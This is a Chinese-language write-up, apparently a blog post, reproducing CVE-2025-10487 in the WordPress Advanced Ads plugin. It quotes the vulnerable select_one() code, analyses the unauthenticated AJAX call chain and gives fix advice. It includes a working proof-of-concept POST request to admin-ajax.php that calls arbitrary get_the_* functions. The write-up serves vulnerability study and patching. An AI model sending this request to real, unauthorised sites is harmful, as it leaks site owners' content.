Wordpress Advanced Ads插件漏洞CVE-2025-10487复现
漏洞描述
The Advanced Ads – Ad Manager & AdSense plugin for WordPress is
vulnerable to Remote Code Execution in all versions up to, and
including, 2.0.12 via the select_one() function. This is due to the
endpoint not properly restricting access to the AJAX endpoint or
limiting the functions that can be called to safe functions. This
makes it possible for unauthenticated attackers to call arbitrary
functions beginning with get_the_ like get_the_excerpt which can make
information exposure possible.
在 2.0.12 之前(包括 2.0.12)之前的所有版本中,高级广告 - Ad Manager 和 AdSense 插件都容易通过 select_one() 函数进行远程代码执行。这是由于端点没有正确限制对 AJAX 端点的访问或限制可以调用到安全函数的函数。这使得未经身份验证的攻击者可以调用以get_the_开头的任意函数,例如 get_the_excerpt这可以使信息泄露成为可能。
复现环境搭建
虚拟机搭建wordpress后安装 2.0.12版本的Advanced Ads插件

漏洞分析
根据提供的代码和漏洞描述,Advanced Ads 插件中的漏洞位于 wp-content/plugins/advanced-ads/includes/admin/class-ajax.php 文件的 select_one() 函数中。该漏洞允许未经身份验证的攻击者通过 AJAX 端点调用任意以 get_the_ 开头的 WordPress 函数,导致潜在的信息泄露(而非真正的远程代码执行)。以下是详细的漏洞调用链分析:
1. 入口点:公开 AJAX 端点
- 位置:
wp-content/plugins/advanced-ads/includes/admin/class-ajax.php:42-43 - 代码:
add_action( 'wp_ajax_advads_ad_select', [ $this, 'ad_select' ] ); add_action( 'wp_ajax_nopriv_advads_ad_select', [ $this, 'ad_select' ] ); - 问题:
wp_ajax_nopriv_advads_ad_select钩子允许未登录用户访问ad_select()方法。没有身份验证检查或速率限制。

2. 处理请求:ad_select() 方法
- 位置:
wp-content/plugins/advanced-ads/includes/admin/class-ajax.php:149-194 - 关键代码:
public function ad_select(): void {// ... 其他代码 ...$defered_ads = Params::request( 'deferedAds', [], FILTER_DEFAULT, FILTER_REQUIRE_ARRAY );if ( $defered_ads ) {// ... 处理 defered_ads ...foreach ( $requests as $request ) {$result = $this->select_one( $request ); // 调用 select_one}}$response = $this->select_one( $_REQUEST ); // 直接传递 $_REQUESTwp_send_json( $response ); } - 问题:直接将
$_REQUEST(包含用户输入)传递给select_one(),没有过滤或验证。

3. 核心漏洞:select_one() 方法中的动态函数调用
- 位置:
wp-content/plugins/advanced-ads/includes/admin/class-ajax.php:298-362 - 关键代码:
private function select_one( $request ) {$method = (string) $request['ad_method'] ?? null; // 从请求中获取 ad_methodif ( 'id' === $method ) {$method = 'ad';}$function = "get_the_$method"; // 动态构造函数名$id = (string) $request['ad_id'] ?? null;// ... 其他代码 ...$content = $function( (int) $id, '', $arguments ); // 调用动态函数// ... 返回结果 ... } - 问题:
$method来自用户输入($_REQUEST['ad_method']),未进行任何过滤或白名单检查。- 通过字符串拼接构造函数名
$function = "get_the_$method",允许调用任意以get_the_开头的函数。 - 例如,攻击者可设置
ad_method=excerpt,导致调用get_the_excerpt();或ad_method=content,调用get_the_content()。



4. 漏洞利用示例
POC:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.6.138
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Cookie: wp-settings-time-1=1762237749; wpforo_read_topics=%7B%221%22%3A%223%22%7D; wpforo_read_forums=%7B%222%22%3A%223%22%2C%221%22%3A%223%22%7D; wp-settings-2=mfold%3Do; wp-settings-time-2=1762311751
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencodedaction=advads_ad_select&ad_method=excerpt&ad_id=1
- 请求:POST 到
/wp-admin/admin-ajax.php?action=advads_ad_select - 参数:
ad_method=excerpt(或任意get_the_*函数名,如title、content等)ad_id=1(有效文章 ID)
- 结果:返回文章的摘要(excerpt),导致信息泄露。如果文章包含敏感数据,可被利用。
下面的请求获取了文章标题

下面的请求获取了文章摘要

下面的请求获取了广告内容

5. 影响
- 信息泄露:未授权攻击者可获取文章标题、内容、摘要等信息,广告内容可能包含敏感信息。
- 局限:尽管描述为 “远程代码执行”,实际仅限于调用 WordPress 的
get_the_*函数,无法执行任意 PHP 代码。可能通过短代码或特定内容间接执行代码,但通常为信息泄露。 - CVSS:高严重性(信息泄露,无需认证)。

6. 修复建议
- 在
select_one()中添加$method的白名单检查,仅允许预定义的安全方法(如ad、placement)。 - 或移除
wp_ajax_nopriv_advads_ad_select钩子,限制为登录用户。 - 添加输入验证和过滤。
把The Advanced Ads – Ad Manager & AdSense plugin升级到2.0.13或更高版本。
新版插件在select_one方法的function变量赋值前调用了is_entity_allowed方法

is_entity_allowed方法只允许调用get_the_ad、get_the_group、get_the_placement三个方法。

参考链接
- https://www.tenable.com/cve/CVE-2025-10487
- https://www.wordfence.com/threat-intel/vulnerabilities/id/3efe6b81-72db-4419-92a3-26e22ebf46e8?source=cve
